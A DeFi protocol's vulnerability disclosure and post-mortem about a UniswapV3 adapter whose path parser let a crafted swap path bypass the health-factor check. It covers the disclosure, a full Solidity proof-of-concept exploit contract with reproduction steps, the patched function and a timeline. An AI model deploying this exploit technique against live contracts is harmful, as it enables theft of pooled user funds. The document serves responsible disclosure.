# Vulnerability disclosure 2022-03-25

## Summary

- A vulnerability was reported by a whitehat that allowed it to skip fastCheck for UniswapV3 adapter.
- Contracts were paused by the multisig while the issue exploration was ongoing.
- A fix was made, checked with the whitehat & auditors, and then deployed. Contracts were unpaused.
- No funds were lost, no bad debt occurred during the pause. 

### Bounty and Comments

Whitehat bounty for critical vulnerability was paid out in size of $150,000 USDC + GEAR tokens were promised equal to 250,000 GEAR. We really appreciate the work of the whitehat, and hope that security researchers will continue doing the amazing work. Security is of utmost importance, so in case you find anything, please disclose in the appropriate manner and request a compensation that you deem appropriate: https://docs.gearbox.finance/risk-and-security/audits-bug-bounty.


## Background

At 09:08 am (UTC) Whitehat shared a concern that specially crafted path for `exactOutput(ExactOutputParams calldata params)` function in UniV3Adapter allows attacker to bypass health check functionality and could lead to huge loss of pool funds.

A few moments later, Mikael checked the proof of concept exploit, and confirmed the vulnerability in forked mainnet.

The tech members decided to pause the contracts with the pre-signed multisig tx: https://gnosis-safe.io/app/eth:0xA7D5DDc1b8557914F158076b228AA91eF613f1D5/transactions/history 

## Details of vulnerability

Gearbox is a generalized leverage protocol. Generally speaking, you can provide some collateral, borrow with leverage and then do something allowed by Gearbox protocol with that fund in your Credit Account (contract address containing your funds), such as deposit to yearn, swap to tokens in allowed-list on Uniswap (both v2 and v3).


To swap from token A to token B, you need to interact through a contract named UniV3Adapter. It allows GearBox protocols to prevent protocol borrowed fund loss by calling health check function after performing swap. If there is no this protective mechanism, someone can just trade $1000 worth WETH to $1 worth BTC using borrowed fund. (Read more about the attack, https://dev.gearbox.fi/security/fast-check-and-healthfactor-protection)

Another attack scenario apart from an example from mentioned link is this:

(1) Attacker provides collateral and borrow fund with maximum leverage
(2) Attacker create fake ERC20 token and create 2 liquidity pools with unbalanced price (fake/WBTC and fake/WETH)
(3) Attacker trades using UniV3Adapter (assuming there is no health factor check) and maybe trade 4 WETH -> 1 fake -> 0.0000001 WBTC since attacker control the pool.
(4) Attacker mint fake token for themself, and get those WETH from the pool.

Whitehat found a discrepency between path parser of GearBox protocol and UniswapV3 SwapRouter that would allow attacker to craft a special path payload to bypass health factor protection.

First, let's take a look at how exactOutput function on UniV3Adapter works
https://etherscan.io/address/0x31955E787c46137A1F1a3e29C6128f9CFc2B0E27

```
function exactOutput(ExactOutputParams calldata params)
        external
        payable
        override
        nonReentrant
        returns (uint256 amountIn)
    {
        address creditAccount = creditManager.getCreditAccountOrRevert(
            msg.sender
        );

        (address tokenOut, address tokenIn) = _extractTokens(params.path);

        creditManager.provideCreditAccountAllowance(
            creditAccount,
            router,
            tokenIn
        );

        ExactOutputParams memory paramsUpdate = params;
        paramsUpdate.recipient = creditAccount;

        uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount);
        uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount);

        {
            bytes memory data = abi.encodeWithSelector(
                bytes4(0xf28c0498), // exactOutput((bytes,address,uint256,uint256,uint256))
                paramsUpdate
            );

            (amountIn) = abi.decode(
                creditManager.executeOrder(msg.sender, router, data),
                (uint256)
            );
        }

        creditFilter.checkCollateralChange(
            creditAccount,
            tokenIn,
            tokenOut,
            balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
            IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
        );
    }
    function _extractTokens(bytes memory path)
        internal
        pure
        returns (address tokenA, address tokenB)
    {
        tokenA = path.toAddress(0);
        tokenB = path.toAddress(path.length - ADDR_SIZE);
    }

```

(1) Query address of msg.sender creditAccount
(2) Extract tokens address from params.path
Basically, it takes first 20 bytes as tokenOut and last 20 bytes as tokenIn
(3) Store both tokenIn and tokenOut balance in creditAccount
(4) Perform swap using UniswapV3 SwapRouter
(5) Check for collateral change
It converts changing balance of tokenIn and tokenOut to WETH price, if tokenOut value is more than tokenIn value, it passes the health check.

So, if somehow, an attacker could trick the contract to use a different tokenIn address for swap and health check then an attacker could bypass health check functionality since the changing balance of tokenIn would be 0 and while another tokenIn is being swapped out.

Next, let's look at how UniSwapV3 Swap Router extract its path parameter.
https://github.com/Uniswap/v3-periphery/blob/main/contracts/SwapRouter.sol

```
// function exactOutputInternal
(address tokenOut, address tokenIn, uint24 fee) = data.path.decodeFirstPool();
```

https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/Path.sol

```
function decodeFirstPool(bytes memory path)
        internal
        pure
        returns (
            address tokenA,
            address tokenB,
            uint24 fee
        )
    {
        tokenA = path.toAddress(0);
        fee = path.toUint24(ADDR_SIZE); // ADDR_SIZE = 20
        tokenB = path.toAddress(NEXT_OFFSET); // NEXT_OFFSET = 20 + 3 (fee) bytes
    }
```

You can see that there is the difference. UniSwapV3 SwapRouter extracts tokenOut from first 20 bytes, and tokenIn from next 23 bytes.

After spending some time thinking, I came up with payload that could trick both contracts to use different tokenIn. Here is an example

abi.encodePacked(WBTC, poolFee, WETH, DAI)

For GearBox Adapter, the tokenIn would be DAI (last 20 bytes).
For UniswapV3 Router, the tokenIn would be WETH

With this specially crafted path parameter, it allows attacker to bypass health check functionality and exploit on protocol funds.

## Exploit contract

This proof-of-concept demonstrates the bypass of health check function.

Basically, what it does is:
(1) Open credit account with 2 ethers, max leverage
(2) Approve WETH on creditAccount to be traded via SwapRouter
(3) Shift WETH price in WBTC/WETH 1.0% pool with 1000 ETH
To make WBTC more expensive when swapping (get less WBTC)
(4) Try swap with normal params, and crafted params and you can see that normal params is stuck with CF5 revert text, which is health factor error.

```
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

interface IERC20{
    function transfer(address to, uint value) external returns (bool);
    function approve(address spender, uint value) external returns (bool);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint256);
}

interface CreditManager{
    function openCreditAccount(
        uint256 amount,
        address onBehalfOf,
        uint256 leverageFactor,
        uint256 referralCode
    ) external;
    function getCreditAccountOrRevert(address borrower) external view returns(address);
    function approve(address targetContract, address token) external;
}

interface IWETH{
    function deposit() external payable;
    function withdraw(uint wad) external;
    function approve(address guy, uint wad) external returns (bool);
}

interface Adapter{
    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    function exactOutput(ExactOutputParams calldata params) external returns (uint256 amountIn);
}

interface IRouter{
    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }
    function exactInput(ExactInputParams memory params)
        external
        payable
        returns (uint256 amountOut);
}


contract ProofOfConcept{

    // Reference variables
    // Token Address
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
    // Gearbox Address
    address creditManager = 0x968f9a68a98819E2e6Bb910466e191A7b6cf02F0;
    address adapter = 0x31955E787c46137A1F1a3e29C6128f9CFc2B0E27;

    address UniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;

    // Open a new credit account with WETH, 3x leverage
    function _openCreditAccount() external payable{
        IWETH(WETH).deposit{value: msg.value}();
        IWETH(WETH).approve( creditManager, type(uint).max );
        CreditManager(creditManager).openCreditAccount(
            msg.value,
            address(this),
            300,
            0
        );
    }

    function _getCreditAccount() external view returns(address){
        return CreditManager(creditManager).getCreditAccountOrRevert(address(this));
    }

    uint24 public constant poolFee = 10000;

    function approveEverything() external{
        CreditManager(creditManager).approve( UniV3Router, WETH );
        CreditManager(creditManager).approve( UniV3Router, WBTC );
    }

    function getBalance( address token, address account ) external view returns(uint){
        return IERC20(token).balanceOf(account);
    }

    function poolShift() external payable{
        IWETH(WETH).deposit{value: msg.value}();
        IWETH(WETH).approve( UniV3Router, type(uint).max );
        IRouter.ExactInputParams memory params = IRouter.ExactInputParams(
            abi.encodePacked(WETH, poolFee, WBTC),
            address(this),
            block.timestamp,
            msg.value,
            0
        );

        IRouter(UniV3Router).exactInput(params);
    }

    function goodSwap(uint amountOut) external{
        
        Adapter.ExactOutputParams memory params = Adapter.ExactOutputParams(
            abi.encodePacked(WBTC, poolFee, WETH), // normal payload
            address(this),
            block.timestamp,
            amountOut,
            type(uint).max
        );

        Adapter(adapter).exactOutput( params );
    }

    function badSwap(uint amountOut) external{

        Adapter.ExactOutputParams memory params = Adapter.ExactOutputParams(
            abi.encodePacked(WBTC, poolFee, WETH, DAI), // crafted payload
            address(this),
            block.timestamp,
            amountOut,
            type(uint).max
        );

        Adapter(adapter).exactOutput( params );
    }

}
```

##### Steps to Reproduce
(1) Run this ganache-cli command to fork mainnet with some ether balances ganache-cli --fork https://main-light.eth.linkpool.io/ -a 1 -e 100000
(2) Deploy PoC contract
(3) Call _openCreditAccount() with 2 ether
(4) Call approveEverthing()
(5) Call poolShift() with 100 ether
(6) Try calling goodSwap with amountOut = 100, you will notice that it reverts with CF5 error
(7) Try calling badSwawp with same amountOut , you will notice that it passes health check

## Details of fix

Solution fixes `_extractTokens` function to provide correct value for  `tokenB` via aligning data for Uniswap V3 format:

```
function _extractTokens(bytes memory path)
        internal
        pure
        returns (address tokenA, address tokenB)
    {
        require(
            path.length >= (2 * ADDR_SIZE + FEE_SIZE),
            "Incorrect path length"
        );
        tokenA = path.toAddress(0);
        tokenB = path.toAddress(
            ((path.length - ADDR_SIZE) / (ADDR_SIZE + FEE_SIZE)) *
                (ADDR_SIZE + FEE_SIZE)
        );
    }
```


## Timeline of events

- **Mar 25, 2022, 09:08 am UTC** Whitehat raises the concern in Immunefi BugBounty System.
- **Mar 25, 2022, 09:18 am UTC** Gearbox members recieves report in Immunefi BugBounty System.
- **Mar 25, 2022, 10:15 am UTC** Exploit is confirmed to steal funds in forked mainnet.
- **Mar 25, 2022, 10:33 am UTC** All four Gearbox Credit Managers are put on pause
- **Mar 26, 2022, 01:02 pm UTC** Fix deployed to mainnet
- **Mar 26, 2022, 05:50 pm UTC** All Gearbox Credit Managers unpaused

